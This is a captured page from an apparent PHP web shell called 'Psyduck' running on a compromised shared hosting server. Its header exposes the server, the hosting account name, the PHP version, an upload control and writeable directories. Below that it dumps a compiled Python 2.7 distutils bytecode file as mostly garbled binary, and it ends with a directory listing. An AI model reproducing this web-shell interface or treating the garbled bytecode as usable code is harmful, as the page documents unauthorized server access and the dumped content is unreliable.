Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python27/lib64/python2.7/distutils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python27/lib64/python2.7/distutils/archive_util.pyo
�
�V~gc@s�dZdZddlZddlmZddlZddlmZddlm	Z	ddl
mZddlm
Z
ydd	lmZWnek
r�dZnXydd
lmZWnek
r�dZnXd�Zd�Zd
ddddd�Zddd�Ziedgdfd6ed gdfd6ed!gdfd6ed"gdfd6egdfd6Zd�Zddddddd�ZdS(#sodistutils.archive_util

Utility functions for creating archive files (tarballs, zip files,
that sort of thing).s$Id$i����N(twarn(tDistutilsExecError(tspawn(tmkpath(tlog(tgetpwnam(tgetgrnamcCs^tdks|dkrdSyt|�}Wntk
rEd}nX|dk	rZ|dSdS(s"Returns a gid, given a group name.iN(RtNonetKeyError(tnametresult((s;/opt/alt/python27/lib64/python2.7/distutils/archive_util.pyt_get_gids

cCs^tdks|dkrdSyt|�}Wntk
rEd}nX|dk	rZ|dSdS(s"Returns an uid, given a user name.iN(RRR(R	R
((s;/opt/alt/python27/lib64/python2.7/distutils/archive_util.pyt_get_uid's

tgzipics�idd6dd6dd6dd6}idd6dd6d	d6}|dk	rg||j�krgtd
�n|d}	|dkr�|	|j|d�7}	nttjj|	�d|�d
dl}
t	j
d�t���t�������fd�}|sC|
j
|	d||�}z|j|d|�Wd|j�Xn|dkr�tdt�|	||}
tjdkr�||	|
g}n|d|	g}t|d|�|
S|	S(s-Create a (possibly compressed) tar file from all the files under
    'base_dir'.

    'compress' must be "gzip" (the default), "compress", "bzip2", or None.
    (compress will be deprecated in Python 3.2)

    'owner' and 'group' can be used to define an owner and a group for the
    archive that is being built. If not provided, the current owner and group
    will be used.

    The output tar file will be named 'base_dir' +  ".tar", possibly plus
    the appropriate compression extension (".gz", ".bz2" or ".Z").

    Returns the output filename.
    tgzR
tbz2tbzip2ttcompresss.gzs.bz2s.ZsEbad value for 'compress': must be None, 'gzip', 'bzip2' or 'compress's.tartdry_runi����NsCreating tar archivecsF�dk	r!�|_�|_n�dk	rB�|_�|_n|S(N(Rtgidtgnametuidtuname(ttarinfo(RtgrouptownerR(s;/opt/alt/python27/lib64/python2.7/distutils/archive_util.pyt_set_uid_gid[s		sw|%stfilters'compress' will be deprecated.twin32s-f(Rtkeyst
ValueErrortgetRtostpathtdirnamettarfileRtinfoRRtopentaddtcloseRtPendingDeprecationWarningtsystplatformR(t	base_nametbase_dirRtverboseRRRttar_compressiontcompress_exttarchive_nameR$Rttartcompressed_nametcmd((RRRRs;/opt/alt/python27/lib64/python2.7/distutils/archive_util.pytmake_tarball3s8"	

	
c
Cs-yddl}Wntk
r)d}nX|d}ttjj|�d|�|dkr�|rkd}nd}y td|||gd|�Wq)tk
r�td|�q)Xntt	j
d	||�|s)|j|d
d|j�}|tj
kr<tjjtjj|d��}|j||�t	j
d
|�nx�tj|�D]�\}	}
}xR|
D]J}tjjtjj|	|d��}|j||�t	j
d
|�qbWxe|D]]}tjjtjj|	|��}tjj|�r�|j||�t	j
d
|�q�q�WqLW|j�n|S(svCreate a zip file from all the files under 'base_dir'.

    The output zip file will be named 'base_name' + ".zip".  Uses either the
    "zipfile" Python module (if available) or the InfoZIP "zip" utility
    (if installed and found on the default search path).  If neither tool is
    available, raises DistutilsExecError.  Returns the name of the output zip
    file.
    i����Ns.zipRs-rs-rqtzipskunable to create zip file '%s': could neither import the 'zipfile' module nor find a standalone zip utilitys#creating '%s' and adding '%s' to ittwtcompressionRsadding '%s'(tzipfiletImportErrorRRR!R"R#RRRR%tZipFiletZIP_DEFLATEDtcurdirtnormpathtjointwritetwalktisfileR((
R,R-R.RR9tzip_filenamet
zipoptionsR6R"tdirpathtdirnamest	filenamesR	((s;/opt/alt/python27/lib64/python2.7/distutils/archive_util.pytmake_zipfileysL	


	
	
!
$
!
Rsgzip'ed tar-filetgztarRsbzip2'ed tar-filetbztarscompressed tar filetztarsuncompressed tar fileR2sZIP fileR6cCs%x|D]}|tkr|SqWdS(sqReturns the first format from the 'format' list that is unknown.

    If all formats are known, returns None
    N(tARCHIVE_FORMATSR(tformatstformat((s;/opt/alt/python27/lib64/python2.7/distutils/archive_util.pytcheck_archive_formats�s
cCsCtj�}|d	k	rStjd|�tjj|�}|sStj|�qSn|d	krktj}ni|d6}	yt	|}
Wnt
k
r�td|�nX|
d}x"|
dD]\}}
|
|	|<q�W|dkr�||	d<||	d<nz||||	�}Wd	|d	k	r>tjd
|�tj|�nX|S(s�Create an archive file (eg. zip or tar).

    'base_name' is the name of the file to create, minus any format-specific
    extension; 'format' is the archive format: one of "zip", "tar", "ztar",
    or "gztar".

    'root_dir' is a directory that will be the root directory of the
    archive; ie. we typically chdir into 'root_dir' before creating the
    archive.  'base_dir' is the directory where we start archiving from;
    ie. 'base_dir' will be the common prefix of all files and
    directories in the archive.  'root_dir' and 'base_dir' both default
    to the current directory.  Returns the name of the archive file.

    'owner' and 'group' are used when creating a tar archive. By default,
    uses the current owner and group.
    schanging into '%s'Rsunknown archive format '%s'iiR6RRNschanging back to '%s'(R!tgetcwdRRtdebugR"tabspathtchdirR=RLRR(R,RNtroot_dirR-R.RRRtsave_cwdtkwargstformat_infotfunctargtvaltfilename((s;/opt/alt/python27/lib64/python2.7/distutils/archive_util.pytmake_archive�s2




(RR
(RR(RR(RN(t__doc__t__revision__R!twarningsRR*tdistutils.errorsRtdistutils.spawnRtdistutils.dir_utilRt	distutilsRtpwdRR:RtgrpRRRR5RHRLROR\(((s;/opt/alt/python27/lib64/python2.7/distutils/archive_util.pyt<module>s<



			E>	
	
Name
Size
Permissions
Options
command
--
drwxr-xr-x
README
0.288 KB
-rw-r--r--
__init__.py
0.23 KB
-rw-r--r--
__init__.pyc
0.418 KB
-rw-r--r--
__init__.pyo
0.418 KB
-rw-r--r--
archive_util.py
8.026 KB
-rw-r--r--
archive_util.pyc
7.524 KB
-rw-r--r--
archive_util.pyo
7.524 KB
-rw-r--r--
bcppcompiler.py
14.591 KB
-rw-r--r--
bcppcompiler.pyc
7.812 KB
-rw-r--r--
bcppcompiler.pyo
7.812 KB
-rw-r--r--
ccompiler.py
45.631 KB
-rw-r--r--
ccompiler.pyc
36.716 KB
-rw-r--r--
ccompiler.pyo
36.578 KB
-rw-r--r--
cmd.py
18.818 KB
-rw-r--r--
cmd.pyc
16.88 KB
-rw-r--r--
cmd.pyo
16.88 KB
-rw-r--r--
config.py
4.037 KB
-rw-r--r--
config.pyc
3.57 KB
-rw-r--r--
config.pyo
3.57 KB
-rw-r--r--
core.py
8.808 KB
-rw-r--r--
core.pyc
7.41 KB
-rw-r--r--
core.pyo
7.41 KB
-rw-r--r--
cygwinccompiler.py
17.319 KB
-rw-r--r--
cygwinccompiler.pyc
9.747 KB
-rw-r--r--
cygwinccompiler.pyo
9.747 KB
-rw-r--r--
debug.py
0.158 KB
-rw-r--r--
debug.pyc
0.261 KB
-rw-r--r--
debug.pyo
0.261 KB
-rw-r--r--
dep_util.py
3.427 KB
-rw-r--r--
dep_util.pyc
3.156 KB
-rw-r--r--
dep_util.pyo
3.156 KB
-rw-r--r--
dir_util.py
7.684 KB
-rw-r--r--
dir_util.pyc
6.716 KB
-rw-r--r--
dir_util.pyo
6.716 KB
-rw-r--r--
dist.py
48.876 KB
-rw-r--r--
dist.pyc
39.108 KB
-rw-r--r--
dist.pyo
39.108 KB
-rw-r--r--
emxccompiler.py
11.651 KB
-rw-r--r--
emxccompiler.pyc
7.406 KB
-rw-r--r--
emxccompiler.pyo
7.406 KB
-rw-r--r--
errors.py
3.412 KB
-rw-r--r--
errors.pyc
6.392 KB
-rw-r--r--
errors.pyo
6.392 KB
-rw-r--r--
extension.py
10.648 KB
-rw-r--r--
extension.pyc
7.289 KB
-rw-r--r--
extension.pyo
7.068 KB
-rw-r--r--
fancy_getopt.py
17.527 KB
-rw-r--r--
fancy_getopt.pyc
11.944 KB
-rw-r--r--
fancy_getopt.pyo
11.771 KB
-rw-r--r--
file_util.py
7.94 KB
-rw-r--r--
file_util.pyc
6.655 KB
-rw-r--r--
file_util.pyo
6.655 KB
-rw-r--r--
filelist.py
12.392 KB
-rw-r--r--
filelist.pyc
10.72 KB
-rw-r--r--
filelist.pyo
10.72 KB
-rw-r--r--
log.py
1.646 KB
-rw-r--r--
log.pyc
2.873 KB
-rw-r--r--
log.pyo
2.873 KB
-rw-r--r--
msvc9compiler.py
30.277 KB
-rw-r--r--
msvc9compiler.pyc
21.387 KB
-rw-r--r--
msvc9compiler.pyo
21.315 KB
-rw-r--r--
msvccompiler.py
23.083 KB
-rw-r--r--
msvccompiler.pyc
17.444 KB
-rw-r--r--
msvccompiler.pyo
17.444 KB
-rw-r--r--
spawn.py
8.445 KB
-rw-r--r--
spawn.pyc
6.365 KB
-rw-r--r--
spawn.pyo
6.365 KB
-rw-r--r--
sysconfig.py
17.292 KB
-rw-r--r--
sysconfig.py.debug-build
17.209 KB
-rw-r--r--
sysconfig.pyc
13.29 KB
-rw-r--r--
sysconfig.pyo
13.29 KB
-rw-r--r--
text_file.py
12.137 KB
-rw-r--r--
text_file.pyc
9.182 KB
-rw-r--r--
text_file.pyo
9.182 KB
-rw-r--r--
unixccompiler.py
13.889 KB
-rw-r--r--
unixccompiler.py.distutils-rpath
13.356 KB
-rw-r--r--
unixccompiler.pyc
8.188 KB
-rw-r--r--
unixccompiler.pyo
8.188 KB
-rw-r--r--
util.py
17.809 KB
-rw-r--r--
util.pyc
14.227 KB
-rw-r--r--
util.pyo
14.227 KB
-rw-r--r--
version.py
11.165 KB
-rw-r--r--
version.pyc
7.229 KB
-rw-r--r--
version.pyo
7.229 KB
-rw-r--r--
versionpredicate.py
4.976 KB
-rw-r--r--
versionpredicate.pyc
5.501 KB
-rw-r--r--
versionpredicate.pyo
5.501 KB
-rw-r--r--